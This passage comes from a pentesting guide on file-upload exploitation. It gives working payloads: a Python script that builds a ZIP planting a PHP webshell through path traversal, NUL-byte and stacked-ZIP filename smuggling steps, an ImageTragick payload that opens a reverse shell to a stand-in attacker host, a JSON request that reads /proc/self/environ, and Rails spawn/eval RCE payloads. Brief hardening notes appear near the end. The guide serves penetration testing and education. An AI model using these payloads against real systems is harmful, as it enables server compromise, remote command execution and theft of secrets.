    462 The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
    463 
    464 An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
    465 
    466 ```python
    467 # Listing available options
    468 python2 evilarc.py -h
    469 # Creating a malicious archive
    470 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
    471 ```
    472 
    473 Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
    474 
    475 Below is an example of Python code used to create a malicious zip file:
    476 
    477 ```python
    478 #!/usr/bin/python
    479 import zipfile
    480 from io import BytesIO
    481 
    482 
    483 def create_zip():
    484     f = BytesIO()
    485     z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    486     z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    487     z.writestr('otherfile.xml', 'Content of the file')
    488     z.close()
    489     zip = open('poc.zip','wb')
    490     zip.write(f.getvalue())
    491     zip.close()
    492 
    493 create_zip()
    494 ```
    495 
    496 **Abusing compression for file spraying**
    497 
    498 For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)<sup>[[27]](#references)</sup>
    499 
    500 1.  **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable.
    501 
    502     ```php
    503     <?php
    504     if(isset($_REQUEST['cmd'])){
    505         $cmd = ($_REQUEST['cmd']);
    506         system($cmd);
    507     }?>
    508     ```
    509 
    510 2.  **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files.
    511 
    512     ```bash
    513     root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
    514     root@s2crew:/tmp# zip cmd.zip xx*.php
    515     ```
    516 
    517 3.  **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
    518 
    519     ```bash
    520     :set modifiable
    521     :%s/xxA/../g
    522     :x!
    523     ```
    524 
    525 ### ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
    526 
    527 When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.<sup>[[19]](#references)</sup>
    528 
    529 High-level flow:
    530 - Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
    531 - Name it like `shell.php..pdf`, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first `.` after `.php` with `0x00`, resulting in `shell.php\x00.pdf`.
    532 - Validators that rely on ZipArchive will “see” `shell.php .pdf` and allow it; the extractor writes `shell.php` to disk, leading to RCE if the upload folder is executable.
    533 
    534 Minimal PoC steps:
    535 ```bash
    536 # 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
    537 printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
    538 
    539 # 2) Trick name and zip
    540 cp embedded.pdf shell.php..pdf
    541 zip null.zip shell.php..pdf
    542 
    543 # 3) Hex-edit both the local header and central directory filename fields
    544 #    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
    545 #    Tools: hexcurse, bless, bvi, wxHexEditor, etc.
    546 
    547 # 4) Local validation behavior
    548 php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
    549 # -> shows truncated at NUL (looks like ".pdf" suffix)
    550 ```
    551 
    552 Notes
    553 - Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present.
    554 - The payload file must still pass server‑side magic/MIME sniffing. Embedding the PHP in a PDF stream keeps the header valid.
    555 - Works where the enum/validation path and the extraction/write path disagree on string handling.
    556 
    557 ### Stacked/concatenated ZIPs (parser disagreement)
    558 
    559 Concatenating two valid ZIP files produces a blob where different parsers focus on different EOCD records. Many tools locate the last End Of Central Directory (EOCD), while some libraries (e.g., ZipArchive in specific workflows) may parse the first archive they find. If validation enumerates the first archive and extraction uses another tool that honors the last EOCD, a benign archive can pass checks while a malicious one gets extracted.<sup>[[19]](#references)</sup>
    560 
    561 PoC:
    562 ```bash
    563 # Build two separate archives
    564 printf test > t1; printf test2 > t2
    565 zip zip1.zip t1; zip zip2.zip t2
    566 
    567 # Stack them
    568 cat zip1.zip zip2.zip > combo.zip
    569 
    570 # Different views
    571 unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
    572 php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
    573 ```
    574 
    575 Abuse pattern
    576 - Create a benign archive (allowed type, e.g., a PDF) and a second archive containing a blocked extension (e.g., `shell.php`).
    577 - Concatenate them: `cat benign.zip evil.zip > combined.zip`.
    578 - If the server validates with one parser (sees benign.zip) but extracts with another (processes evil.zip), the blocked file lands in the extraction path.
    579 
    580 ## ImageTragic
    581 
    582 Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
    583 
    584 ```text
    585 push graphic-context
    586 viewbox 0 0 640 480
    587 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
    588 pop graphic-context
    589 ```
    590 
    591 ## Embedding PHP Shell on PNG
    592 
    593 Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
    594 
    595 A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.<sup>[[7]](#references)</sup>
    596 
    597 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)<sup>[[7]](#references)</sup>
    598 
    599 ## Polyglot Files
    600 
    601 Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
    602 
    603 The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
    604 
    605 Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.<sup>[[8]](#references)</sup>
    606 
    607 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)<sup>[[8]](#references)</sup>
    608 
    609 ### Upload valid JSONs like if it was PDF
    610 
    611 How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):<sup>[[9]](#references)</sup>
    612 
    613 - **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
    614 - **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
    615 - **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
    616 
    617 ### Content-Type confusion to arbitrary file read
    618 
    619 Some upload handlers **trust the parsed request body** (e.g., `context.getBodyData().files`) and later **copy the file from `file.filepath`** without first enforcing `Content-Type: multipart/form-data`. If the server accepts `application/json`, you can supply a fake `files` object pointing `filepath` to **any local path**, turning the upload flow into an arbitrary file read primitive.<sup>[[1]](#references)</sup>
    620 
    621 Example POST against a form workflow returning the uploaded binary in the HTTP response:
    622 
    623 ```http
    624 POST /form/vulnerable-form HTTP/1.1
    625 Host: target
    626 Content-Type: application/json
    627 
    628 {
    629   "files": {
    630     "document": {
    631       "filepath": "/proc/self/environ",
    632       "mimetype": "image/png",
    633       "originalFilename": "x.png"
    634     }
    635   }
    636 }
    637 ```
    638 
    639 Backend copies `file.filepath`, so the response returns that path’s content. Common chain: read `/proc/self/environ` to learn `$HOME`, then `$HOME/.n8n/config` for keys and `$HOME/.n8n/database.sqlite` for user identifiers.
    640 
    641 
    642 ### Ruby on Rails Active Storage + libvips parser confusion → arbitrary file read
    643 
    644 A useful upload pattern to test is: **the application stores an attacker-controlled MIME type before inspecting bytes, then a later image-processing step trusts that metadata and lets a backend parser sniff the real format**.<sup>[[22]](#references)</sup>
    645 
    646 In **Rails Active Storage direct uploads**, the blob record can be created with attacker-controlled `content_type` **before** the file is inspected. If later code only checks whether the stored type is inside the image allowlist (for example `image/png`), a non-image file can still reach the variant/analyzer pipeline.<sup>[[22]](#references)</sup><sup>[[23]](#references)</sup>
    647 
    648 Useful checks:
    649 
    650 - **Pre-upload metadata trust:** Can you create the upload/blob/database record first and persist `content_type=image/png` (or another transformable type) without server-side MIME re-identification?
    651 - **Independently signed processing tokens:** If the app verifies a blob/object identifier and a processing token separately, test whether a legitimate token from one object can be replayed against a malicious upload.
    652 - **Backend parser disagreement:** Compare the outer file sniffer with the deeper parser. A short magic-byte check in layer 1 plus version/offset-based parsing in layer 2 is a strong **polyglot/parser-confusion** candidate.
    653 
    654 One practical Rails chain abused `image_processing` + `vips` leaving loader selection to libvips. libvips `matload` only checked bytes `0-9` for `MATLAB 5.0`, while libmatio selected **MAT 7.3** from bytes `124-125`. A crafted file could therefore:
    655 
    656 - start with `MATLAB 5.0` to satisfy libvips,
    657 - set bytes `124-127` to a valid MAT 7.3 version/endian marker,
    658 - place a real HDF5 superblock after a **512-byte userblock**,
    659 - and use **HDF5 external dataset storage** to read bytes from an attacker-chosen path and offset.<sup>[[22]](#references)</sup>
    660 
    661 This turns the image processor into an **arbitrary file-read oracle**. Good targets are `/proc/self/environ`, `config/master.key`, encrypted credentials, or other files readable by the web worker. If the application returns the generated image, file bytes may come back as pixels; if not, analyzer metadata can still become a lower-bandwidth exfil channel.
    662 
    663 Related pages:
    664 - [Ruby Tricks](/hacktricks/network-services-pentesting/pentesting-web/ruby-tricks)
    665 - [ImageMagick Security](/hacktricks/network-services-pentesting/pentesting-web/imagemagick-security)
    666 
    667 ### From file read to signed-operation abuse
    668 
    669 Once you can read application secrets, validate candidate signing material against a genuine signed value from the app (for Rails, a real signed blob/token is ideal). If the image-processing pipeline later applies attacker-influenced transformation names with dynamic dispatch such as `public_send(name, *argument)`, recovered signing authority may become RCE.<sup>[[22]](#references)</sup><sup>[[24]](#references)</sup><sup>[[25]](#references)</sup>
    670 
    671 Example JSON-compatible transformation shapes:
    672 
    673 ```json
    674 {"send":["spawn","/bin/sh","-c","id"]}
    675 {"send":["eval","File.write('/tmp/kr2s', %x{id})"]}
    676 ```
    677 
    678 Even if the HTTP response returns `500`, the payload may already have executed while the processing chain was being built.
    679 
    680 ### Detection / hardening notes
    681 
    682 - Flag files whose first bytes claim `MATLAB 5.0` but whose bytes `124-127` carry a **MAT 7.3** version/endian tag.
    683 - Re-identify MIME types **server-side after upload**, not only from pre-upload metadata.
    684 - Bind signed processing options to the specific blob/object they are meant for.
    685 - For libvips-backed processing of untrusted uploads, block operations marked untrusted (for example via `Vips.block_untrusted(true)`).
    686 
    687 ## References
    688 
    689 - [1] [n8n form upload Content-Type confusion → arbitrary file read PoC](https://github.com/Chocapikk/CVE-2026-21858)
    690 - [2] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
    691 - [3] [PayloadsAllTheThings - Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
    692 - [4] [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
    693 - [5] [fuxploider - File upload vulnerability scanner and exploitation tool](https://github.com/almandin/fuxploider)
    694 - [6] [uWSGI RCE Exploitation - A new vector for "dirty arbitrary file write" 2 RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
    695 - [7] [Encoding Web Shells in PNG IDAT chunks](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
    696 - [8] [Polyglot Files: A Hacker's Best Friend](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
    697 - [9] [CSPT + File Upload = RCE](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
    698 - [10] [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
    699 - [11] [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
    700 - [12] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
    701 - [13] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
    702 - [14] [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
    703 - [15] [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
    704 - [16] [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
    705 - [17] [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
    706 - [18] [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
    707 - [19] [0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html)
    708 - [20] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
    709 - [21] [HackerOne report 3712279 – Burp Suite Professional browser-powered crawler file input path traversal leading to arbitrary file write and delayed code execution](https://hackerone.com/reports/3712279)
    710 - [22] [Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)](https://rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066)
    711 - [23] [Rails security advisory GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
    712 - [24] [rails/rails#56995 – Active Storage Vips transformation validation discussion](https://github.com/rails/rails/pull/56995)
    713 - [25] [Rapid7 Metasploit module: rails_activestorage_vips_rce](https://github.com/rapid7/metasploit-framework/pull/21733)
    714 - [26] [Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there!](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
    715 - [27] [Compressed file upload and command execution](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)